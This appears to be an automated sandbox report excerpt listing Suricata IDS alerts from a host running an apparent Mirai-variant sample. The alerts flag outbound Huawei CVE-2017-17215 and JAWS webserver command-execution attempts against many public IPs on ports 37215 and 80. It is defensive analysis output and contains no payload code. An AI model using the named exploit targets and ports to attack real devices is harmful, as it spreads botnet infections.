              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51128 -> 197.125.253.243:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46806 -> 197.50.157.0:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40564 -> 156.76.208.93:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42216 -> 187.217.57.157:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42216 -> 187.217.57.157:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58502 -> 124.213.253.22:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56254 -> 197.238.134.50:37215
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58502 -> 124.213.253.22:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50780 -> 160.118.116.204:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50780 -> 160.118.116.204:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45226 -> 199.48.240.26:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45226 -> 199.48.240.26:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47480 -> 197.246.98.86:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49198 -> 197.22.155.143:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40414 -> 41.144.60.9:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52296 -> 209.218.254.72:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52296 -> 209.218.254.72:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60380 -> 205.115.19.189:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60380 -> 205.115.19.189:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51650 -> 168.72.114.103:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51650 -> 168.72.114.103:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36380 -> 41.129.69.57:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34876 -> 67.186.194.136:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34876 -> 67.186.194.136:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47928 -> 156.131.124.110:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38342 -> 156.92.173.159:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43834 -> 42.96.90.150:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43834 -> 42.96.90.150:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57268 -> 46.149.136.21:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57268 -> 46.149.136.21:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35828 -> 156.95.85.108:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47178 -> 153.109.96.159:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47178 -> 153.109.96.159:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51384 -> 41.56.183.22:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49004 -> 197.202.167.131:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45208 -> 57.118.124.196:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45208 -> 57.118.124.196:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55172 -> 197.20.66.176:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57086 -> 197.72.154.115:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54098 -> 51.31.14.4:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54098 -> 51.31.14.4:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49128 -> 95.38.48.223:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49128 -> 95.38.48.223:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59436 -> 107.254.106.99:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59436 -> 107.254.106.99:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38996 -> 155.188.236.83:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43788 -> 113.67.108.3:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56658 -> 84.216.136.52:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43788 -> 113.67.108.3:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45486 -> 145.12.51.102:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40134 -> 57.139.237.152:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45486 -> 145.12.51.102:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38400 -> 95.165.95.255:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40134 -> 57.139.237.152:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38400 -> 95.165.95.255:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54538 -> 113.149.205.76:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51090 -> 98.46.105.144:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54538 -> 113.149.205.76:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38996 -> 155.188.236.83:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49788 -> 12.231.107.108:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56658 -> 84.216.136.52:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57380 -> 66.32.129.43:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39860 -> 83.114.35.247:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49788 -> 12.231.107.108:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39860 -> 83.114.35.247:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59776 -> 2.68.142.1:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57380 -> 66.32.129.43:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59776 -> 2.68.142.1:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57430 -> 144.244.202.18:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57430 -> 144.244.202.18:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40986 -> 129.72.45.47:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51090 -> 98.46.105.144:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40986 -> 129.72.45.47:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47764 -> 156.0.134.95:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35038 -> 41.87.30.134:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42716 -> 197.215.236.202:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50768 -> 156.41.191.74:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46686 -> 197.157.34.149:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42246 -> 197.237.65.75:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50438 -> 197.78.119.56:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47618 -> 197.189.24.78:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45550 -> 197.68.104.92:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36864 -> 156.17.245.165:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51764 -> 36.206.184.29:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51764 -> 36.206.184.29:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36796 -> 156.66.157.15:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35458 -> 156.10.152.79:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51146 -> 118.197.22.2:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51146 -> 118.197.22.2:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36186 -> 197.28.130.214:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42804 -> 41.121.213.165:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48224 -> 41.112.130.195:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48906 -> 156.8.192.184:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36786 -> 162.32.100.214:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56932 -> 41.76.137.36:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47838 -> 170.130.35.173:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55390 -> 184.91.46.132:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44718 -> 197.142.165.222:37215
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55390 -> 184.91.46.132:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36856 -> 209.198.232.114:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36856 -> 209.198.232.114:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42604 -> 85.134.54.55:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39056 -> 41.150.245.66:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38360 -> 160.213.170.54:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38360 -> 160.213.170.54:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36786 -> 162.32.100.214:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59396 -> 197.84.129.212:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51602 -> 126.230.82.208:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47838 -> 170.130.35.173:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44124 -> 37.163.200.224:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39916 -> 41.63.158.240:37215
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44124 -> 37.163.200.224:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48674 -> 41.63.137.244:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42010 -> 41.63.89.134:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42338 -> 157.94.111.12:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40708 -> 156.48.134.66:37215
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51602 -> 126.230.82.208:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:32776 -> 41.222.2.131:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51246 -> 41.19.18.139:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60420 -> 156.98.201.36:37215
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42338 -> 157.94.111.12:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39432 -> 41.116.81.247:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46630 -> 135.59.238.174:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34264 -> 41.91.169.5:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33902 -> 41.56.90.100:37215
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42604 -> 85.134.54.55:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46630 -> 135.59.238.174:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43308 -> 43.138.98.219:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43308 -> 43.138.98.219:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53984 -> 185.139.205.4:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53984 -> 185.139.205.4:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35672 -> 54.36.196.205:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35672 -> 54.36.196.205:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42288 -> 156.17.134.152:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39882 -> 156.112.195.101:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40738 -> 40.102.184.170:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40738 -> 40.102.184.170:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38572 -> 115.68.158.75:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38572 -> 115.68.158.75:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59980 -> 212.185.60.209:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59980 -> 212.185.60.209:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58420 -> 41.0.163.33:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33494 -> 197.28.20.71:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54998 -> 41.41.166.255:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58302 -> 217.213.200.52:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58302 -> 217.213.200.52:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38322 -> 168.255.195.130:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54570 -> 156.127.111.169:37215
              Source: global trafficTCP traffic: 197.202.142.105 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 156.53.46.226 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.67.155.64 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 156.118.92.2 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 156.0.142.91 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 156.98.144.143 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.69.253.68 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 197.161.124.14 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.127.110.230 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 156.44.177.145 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.43.227.106 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.243.84.233 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 197.105.252.11 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 156.18.4.30 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.187.211.31 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 197.89.125.206 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.92.110.203 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.242.11.110 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 197.47.185.35 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 197.90.98.72 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 197.211.177.214 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.227.203.115 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 197.22.79.89 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 156.61.0.112 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 156.232.230.119 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.221.5.59 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 197.17.71.8 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 156.77.254.108 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 197.253.84.255 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.134.63.216 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.113.221.124 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 197.247.7.231 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 156.77.17.103 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 197.180.156.156 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.57.162.78 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.42.16.223 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 156.107.35.215 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 156.161.147.50 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 156.217.172.179 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.160.155.250 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 197.31.189.199 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 197.141.152.66 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 156.117.26.43 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 197.229.254.122 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 156.156.14.119 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.211.156.48 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 197.143.123.90 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 41.37.39.7 ports 1,2,3,5,7,37215
